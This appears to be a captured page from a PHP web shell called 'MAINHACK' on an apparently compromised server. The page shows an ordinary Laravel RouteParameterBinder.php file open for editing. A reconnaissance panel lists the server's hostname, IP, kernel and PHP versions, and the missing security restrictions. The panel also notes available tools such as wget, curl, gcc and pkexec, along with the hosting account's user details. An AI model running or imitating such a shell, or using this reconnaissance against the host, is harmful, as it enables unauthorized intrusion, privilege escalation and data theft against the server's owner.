[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: RouteParameterBinder.php
<?php namespace Illuminate\Routing; use Illuminate\Support\Arr; class RouteParameterBinder { /** * The route instance. * * @var \Illuminate\Routing\Route */ protected $route; /** * Create a new Route parameter binder instance. * * @param \Illuminate\Routing\Route $route * @return void */ public function __construct($route) { $this->route = $route; } /** * Get the parameters for the route. * * @param \Illuminate\Http\Request $request * @return array */ public function parameters($request) { $parameters = $this->bindPathParameters($request); // If the route has a regular expression for the host part of the URI, we will // compile that and get the parameter matches for this domain. We will then // merge them into this parameters array so that this array is completed. if (! is_null($this->route->compiled->getHostRegex())) { $parameters = $this->bindHostParameters( $request, $parameters ); } return $this->replaceDefaults($parameters); } /** * Get the parameter matches for the path portion of the URI. * * @param \Illuminate\Http\Request $request * @return array */ protected function bindPathParameters($request) { $path = '/'.ltrim($request->decodedPath(), '/'); preg_match($this->route->compiled->getRegex(), $path, $matches); return $this->matchToKeys(array_slice($matches, 1)); } /** * Extract the parameter list from the host part of the request. * * @param \Illuminate\Http\Request $request * @param array $parameters * @return array */ protected function bindHostParameters($request, $parameters) { preg_match($this->route->compiled->getHostRegex(), $request->getHost(), $matches); return array_merge($this->matchToKeys(array_slice($matches, 1)), $parameters); } /** * Combine a set of parameter matches with the route's keys. * * @param array $matches * @return array */ protected function matchToKeys(array $matches) { if (empty($parameterNames = $this->route->parameterNames())) { return []; } $parameters = array_intersect_key($matches, array_flip($parameterNames)); return array_filter($parameters, function ($value) { return is_string($value) && strlen($value) > 0; }); } /** * Replace null parameters with their defaults. * * @param array $parameters * @return array */ protected function replaceDefaults(array $parameters) { foreach ($parameters as $key => $value) { $parameters[$key] = $value ?? Arr::get($this->route->defaults, $key); } foreach ($this->route->defaults as $key => $value) { if (! isset($parameters[$key])) { $parameters[$key] = $value; } } return $parameters; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002